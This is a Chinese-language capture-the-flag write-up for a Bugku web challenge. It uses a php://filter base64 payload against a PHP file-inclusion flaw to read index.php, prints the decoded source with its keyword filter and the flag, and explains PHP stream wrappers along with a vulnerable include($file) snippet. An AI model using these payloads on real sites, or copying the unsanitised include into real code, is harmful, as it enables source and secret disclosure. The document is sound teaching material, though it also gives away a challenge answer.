题目描述
题目截图如下:
进入场景看看:
解题思路
- 你说啥我就干啥:点击一下试试
- 你会想到PHP伪协议这方面去嘛,你有这方面的知识储备吗?
相关工具
解题步骤
- 查看源码
看到了一点提示信息:
./index.php?file=show.php
点击后显示:
看到?file=XXX.php,那不就是典型的文件包含吗?
页面显示了index.php,那就修改试试(打不开):
?file=index.php
我是个菜鸡,想不到也不知道什么是PHP伪协议
:请看【新知识点】部分
这里需要用的一个伪协议php://filter
:是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
可以使用php://filter
获取指定文件源码:
?file=php://filter/resource=xxx.php
发现啥也没有显示,这是因为:
通常获取源代码时,伪协议将xxx.php当文件执行,使得很多信息往往不能直接显示在浏览器页面上,通常使用base64编码后再显示
?file=php://filter/convert.base64-encode/resource=index.php
convert.base64-encode
:是一个过滤器,看到encode可以知道这是一个加密的过滤,那自然就有convert.base64-decode
,解密了。简单来说就是:对数据流进行编码,通常用来读取文件源码。
这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。
这里对资源文件show.php进行加密了,所以显示:
aW5kZXgucGhw
加上==后进行base64解密就可以复现:(index.php)
现内容就是index.php,说明show.php没有隐藏信息。
所以同理,对index.php使用伪协议执行一下:
http://114.67.175.224:15954/?file=php://filter/convert.base64-encode/resource=index.php
可以看到一串很长的东西,但注意最后的==,必须下意识去解密看看:
77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2M2ZjMwYWZiMDJkYmU2YTU5ODMzODZjNWQzZTA0MTJjfQ0KPz4NCjwvaHRtbD4NCg==
得到:
<html><title>Bugku-web</title><?phperror_reporting(0);if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file);
//flag:flag{c6f30afb02dbe6a5983386c5d3e0412c}
?>
</html>
可以看到注释有flag了
PS:
参考其他WP发现都使用了一个read=
,这是啥?
可以看到,说是这个参数可以不选,在PHP伪协议中,read是一个用于读取文件内容的操作符。它可以与伪协议中的其他操作符结合使用,用于读取文件的特定部分或指定偏移量的内容。
使用read操作符时,你需要指定一个文件路径和一个长度参数。read操作符将返回指定长度的文件内容。
?file=php://filter/read=convert.base64-encode/resource=index.php
稍微解释下这个做法:
- php://filter/ 是一种访问本地文件的协议
- /read=convert.base64-encode/ 表示读取的方式是 base64 编码后
- resource=index.php 表示目标文件为index.php。
问什么要进行 base64 编码呢?如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了。
得到Flag
flag{c6f30afb02dbe6a5983386c5d3e0412c}
新知识点
PHP伪协议
- PHP伪协议是一种特殊的协议,用于访问和操作不同资源和数据。
- 以"php://"开头,并提供了一组预定义的流封装器,用于处理各种不同的资源和操作。
- 可以用于访问和操作本地文件、远程文件、网络服务、数据库、压缩文件等。
- 使用PHP伪协议,可以像访问本地文件一样访问远程文件。
- 常见的PHP伪协议及其用途:
php://filter:可用于从不同来源(如文件、网络套接字或PHP输入/输出流)读取或写入数据。php://input:用于访问HTTP请求中的原始请求体的数据,比如处理POST请求时可以使用这个协议来获取请求的数据。php://output:用于将数据输出到标准输出流,可以通过这个协议来实现将数据发送至浏览器。php://stdin:用于读取标准输入流中的数据,可以通过这个协议来处理从命令行输入的数据。php://stderr:用于将错误信息输出到标准错误流,可以通过这个协议将错误日志输出到命令行或日志文件。php://memory:用于创建一个可读写的内存流,可以通过这个协议来存储和操作数据。php://temp:用于创建一个可读写的临时文件流,可以通过这个协议来存储和操作数据。file://:用于访问本地文件系统中的文件,可以通过这个协议来读取和写入文件。http://:用于访问远程HTTP资源,可以通过这个协议来获取远程服务器上的数据。ftp://:用于访问远程FTP服务器上的文件,可以通过这个协议来上传和下载文件。
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
- php://filter的语法如下:
php://filter/[action]/resource
- [action]指定要执行的过滤操作类型
- [resource]是要过滤的文件或流的名称。
例如,可以使用以下代码从文件中使用特定的过滤器读取数据:
$filteredData = file_get_contents('php://filter/read=filter_name/resource=path/to/file');
类似地,可以使用以下代码将数据写入文件并应用过滤器:
file_put_contents('php://filter/write=filter_name/resource=path/to/file', $data);
在这些示例中,filter_name是要应用的过滤器的名称。PHP中有各种内置过滤器可用,如zlib.inflate、string.toupper、string.rot13等。您还可以使用PHP提供的过滤器API创建自定义过滤器。
使用php://filter可以在不将数据保存到物理文件中的情况下处理数据流,或者在读取或写入数据之前对数据应用特定的转换时非常有用。
文件包含漏洞
-
在开发过程中,当频繁需要跳转网页,或者需要某个函数时,程序员喜欢将重复的函数写到一个单独的文件中,在需要时调用文件,这种文件调用叫做文件包含。
-
但是这也产生了文件包含漏洞,产生原因是在通过 PHP 的函数引入文件时,为了灵活包含文件会将被包含文件设置为变量,通过动态变量来引入需要包含的文件。
-
此时用户可以对变量的值可控,而服务器端未对变量值进行合理地校验或者校验被绕过,就会导致文件包含漏洞。
分类:
- 本地包含
当包含的文件在服务器本地时,就形成了本地文件包含。文件包含可以包含任意文件,被包含的文件可以不是 PHP 代码,可以是文本或图片等。只要文件被包含就会被服务器脚本语言执行,如果包含的文件内容不符合 php 语法,会直接将文件内容输出。例如下面这段简易的代码:
<?php$file = $_GET['file'];include($file);
?>
- 远程包含
当包含的文件在远程服务器上时,就形成了远程文件包含。所包含远程服务器的文件后缀不能与目标服务器语言相同,远程文件包含需要在 php.ini 中设置:
allow_url_include = on(是否允许 include/require 远程文件)
allow_url_fopen = on(是否允许打开远程文件)
参考链接
- PHP伪协议详解
- CTF-WEB:PHP 伪协议
- 探索php://filter在实战当中的奇技淫巧
有用的话,请
点赞收藏评论
,帮助更多的同学哦